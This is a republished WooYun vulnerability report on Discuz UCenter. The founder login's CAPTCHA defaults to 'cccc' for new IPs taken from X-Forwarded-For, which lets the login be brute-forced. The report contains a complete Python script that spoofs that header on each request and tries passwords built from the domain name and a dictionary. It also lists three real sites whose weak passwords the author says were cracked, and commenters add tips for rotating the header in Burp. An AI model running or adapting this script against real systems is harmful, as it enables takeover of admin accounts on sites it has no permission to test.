Discuz 的UCenter创始人密码可被爆破(有案例)

admin 2015年7月16日01:39:53评论2,372 views字数 219阅读0分43秒阅读模式
摘要

2014-10-21: 细节已通知厂商并且等待厂商处理中
2014-10-21: 厂商已经确认,细节仅向厂商公开
2014-10-24: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-12-15: 细节向核心白帽子及相关领域专家公开
2014-12-25: 细节向普通白帽子公开
2015-01-04: 细节向实习白帽子公开
2015-01-19: 细节向公众公开

漏洞概要 关注数(101) 关注此漏洞

缺陷编号: WooYun-2014-80211

漏洞标题: Discuz 的UCenter创始人密码可被爆破(有案例) Discuz 的UCenter创始人密码可被爆破(有案例)

相关厂商: Discuz!

漏洞作者: JJ Fly

提交时间: 2014-10-21 09:37

公开时间: 2015-01-19 09:38

漏洞类型: 设计缺陷/逻辑错误

危害等级: 中

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

27人收藏


漏洞详情

披露状态:

2014-10-21: 细节已通知厂商并且等待厂商处理中
2014-10-21: 厂商已经确认,细节仅向厂商公开
2014-10-24: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-12-15: 细节向核心白帽子及相关领域专家公开
2014-12-25: 细节向普通白帽子公开
2015-01-04: 细节向实习白帽子公开
2015-01-19: 细节向公众公开

简要描述:

没看源码,直接黑盒测试的。非验证码识别。
so 附上利用代码+几个成功案例。

详细说明:

**.**.**.**/discuz/uc_server/admin.php

Discuz 的UCenter创始人密码可被爆破(有案例)

含有一个验证码

验证码的地址为

http://localhost/discuz/uc_server/admin.php?m=seccode&seccodeauth=250dIGq%2FYDhocuXf3IrsBkvB2k23JXlXAbuWr3X1liUcX94&7500

但是

经过测试发现

登录uc_server的时候 如果ip第一次出现那么 seccode的默认值为cccc

而 ip地址 是通过X-Forwarded-For 获取的。

也就是我们修改xff的ip之后,再次打开上面那个验证码url,图片的值为cccc

Discuz 的UCenter创始人密码可被爆破(有案例)

所以可以写一个程序通过修改X-Forwarded-For的值爆破密码。

漏洞证明:

程序写好了 如下。(代码渣,见谅。)拿创始人密码做案例,管理员密码应该也可以。

<poc>

code 区域
#coding:utf-8
import httplib,re,random,urllib,time
from sys import argv

# 进行爆破
def getHtml(host,htmlhash,htmlpass,htmlseccode):
ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))
postHead={"Host":host,"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0","X-Forwarded-For":ip,'Content-Type':'application/x-www-form-urlencoded','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Connection':'keep-alive'}
postContent='sid=&formhash='+htmlhash+'&seccodehidden='+htmlseccode+'&iframe=0&isfounder=1&password='+htmlpass+'&seccode=cccc&submit=%E7%99%BB+%E5%BD%95'
resultHtml=httplib.HTTPConnection(host, 80, False)
resultHtml.request('POST','/uc_server/admin.php?m=user&a=login',body=postContent,headers = postHead )
page=resultHtml.getresponse()
pageConect=page.read()
return pageConect

#获取 formhash 和 seccodehidden
def gethashs(host):
url='http://'+host+'/uc_server/admin.php'
pageContent=urllib.urlopen(url).read()
r1=**.**.**.**pile('<input type="hidden" name="formhash" value="(/S+)" />')
htmlhash=r1.findall(pageContent)[0]
r2=**.**.**.**pile('<input type="hidden" name="seccodehidden" value="(/S+)" />')
htmlseccode=r2.findall(pageContent)[0]
return htmlhash+' '+htmlseccode

#通过argv获取 host 字典 间隔时间 进行爆破
if(len(argv)==1):
print '---->python '+argv[0]+' host地址 字典文件 间隔时间'
print '---->python '+argv[0]+' **.**.**.** pass.txt 0.2'
else:
host=argv[1]
passfile=argv[2]
sleeptime=argv[3]
print '网站host为 '+host
#取域名 然后添加一些密码
hostuser=host.split('.')
hostuser=hostuser[len(hostuser)-2]
hostpass=[hostuser+'123',hostuser+'888',hostuser+hostuser,hostuser+'..',hostuser+'.',hostuser+'admin888',hostuser+'admin123',hostuser+'admin',hostuser+'123456']
print '密码字典为 '+passfile
print '间隔时间为 '+sleeptime
print '--->'
x=gethashs(host).split(' ')
f=open(passfile,'r')
htmlpass=f.read().split('/r/n')
htmlpass=hostpass+htmlpass
f.close()
for i in range(len(htmlpass)):
time.sleep(float(sleeptime))
print '正在尝试密码'+htmlpass[i]
if(getHtml(host,x[0],htmlpass[i],x[1])==''):
print '密码为 '+htmlpass[i]
break

</poc>

Discuz 的UCenter创始人密码可被爆破(有案例)

python dz_blast.py **.**.**.** pass.txt 0

**.**.**.** 新建的一个虚拟机 里面搭建的dz

Discuz 的UCenter创始人密码可被爆破(有案例)

附上几个成功案例

手头没有这种字典,就随便添加了几个密码测试了下,都是很常见的弱口令

mask 区域
1.http://**.**.**/ admin123456_
2.http://**.**.**/ admin_
3.http://**.**.**/ 123456

Discuz 的UCenter创始人密码可被爆破(有案例)

Discuz 的UCenter创始人密码可被爆破(有案例)

Discuz 的UCenter创始人密码可被爆破(有案例)

Discuz 的UCenter创始人密码可被爆破(有案例)

修复方案:

code 区域
你们更专业

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-10-21 09:43

厂商回复:

谢谢您发现问题。我们尽快予以处理

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

0%

0%

0%

0%


评价

  1. 2014-10-21 10:02 | char ( 路人 | Rank:13 漏洞数:3 | 中国平安,不只保险这么简单。)

    0

    这个貌似要火,前排占位。

  2. 2014-10-21 10:38 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    0

    设计缺陷/逻辑错误,api?

  3. 2014-10-21 15:02 | Hmily ( 路人 | 还没有发布任何漏洞 | 吾爱破解论坛)

    0

    @Discuz! 你四个月前的漏洞还没处理,你能抓点紧吗?

  4. 2014-10-21 15:10 | xsser Discuz 的UCenter创始人密码可被爆破(有案例) ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)

    0

    @Hmily 大哥 你急啥啊 另外pm俺 有事找你哈

  5. 2014-10-21 20:04 | 默秒全 ( 路人 | Rank:2 漏洞数:3 | a....)

    0

    前排围观

  6. 2014-10-23 14:14 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

    0

    @Hmily @xsser 哈哈、吾爱破解的逆向牛来挖洞了

  7. 2014-10-25 02:53 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)

    0

    这个貌似要火,前排占位。

  8. 2014-12-04 21:13 | xcrypt ( 实习白帽子 | Rank:89 漏洞数:10 | 暂无介绍~)

    1

    burp可以暴破时不断改变x-forwarded-for,不需要单独写程序了。

  9. 2014-12-05 10:27 | hkAssassin ( 普通白帽子 | Rank:395 漏洞数:73 | 我是一只毛毛虫。)

    1

    @xcrypt 怎么操作给个教程

  10. 2014-12-05 20:38 | xcrypt ( 实习白帽子 | Rank:89 漏洞数:10 | 暂无介绍~)

    1

    @hkAssassin 可以把IP地址的后两位当做数字,比如1.1到255.255,然后step是0.1,这样每次提交都自动加0.1,每次就都不一样了。

  11. 2014-12-26 17:52 | Hmily ( 路人 | 还没有发布任何漏洞 | 吾爱破解论坛)

    3

    官方今天发布补丁,解决方案是打了补丁就算你有密码也进不去UC后台!Discuz就是这么任性!

  12. 2014-12-26 23:00 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)

    1

    这个比较屌!

  13. 2015-01-19 10:14 | Wangl ( 实习白帽子 | Rank:33 漏洞数:4 | 新浪支付,值得拥有)

    1

    屌爆了。

  14. 2015-01-19 11:02 | 夏殇 ( 实习白帽子 | Rank:44 漏洞数:26 | 不忘初心,方得始终。)

    1

    这么屌?

  15. 2015-01-19 11:28 | 菜菜 ( 实习白帽子 | Rank:83 漏洞数:7 | cnidc.hk:500:D5B9985DFBA5FE8A050A39C249C...)

    1

    火前留名

  16. 2015-01-21 16:22 | hack2012 ( 实习白帽子 | Rank:31 漏洞数:3 | 关注信息安全 http://www.waitalone.cn/)

    0

    本地测试了一下没有成功,请问哥们你测试的是哪个版本?

  17. 2015-05-05 06:55 | Skull ( 实习白帽子 | Rank:95 漏洞数:33 | 菜鸟一枚。)

    0

    这个爆破得不行啊= =

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin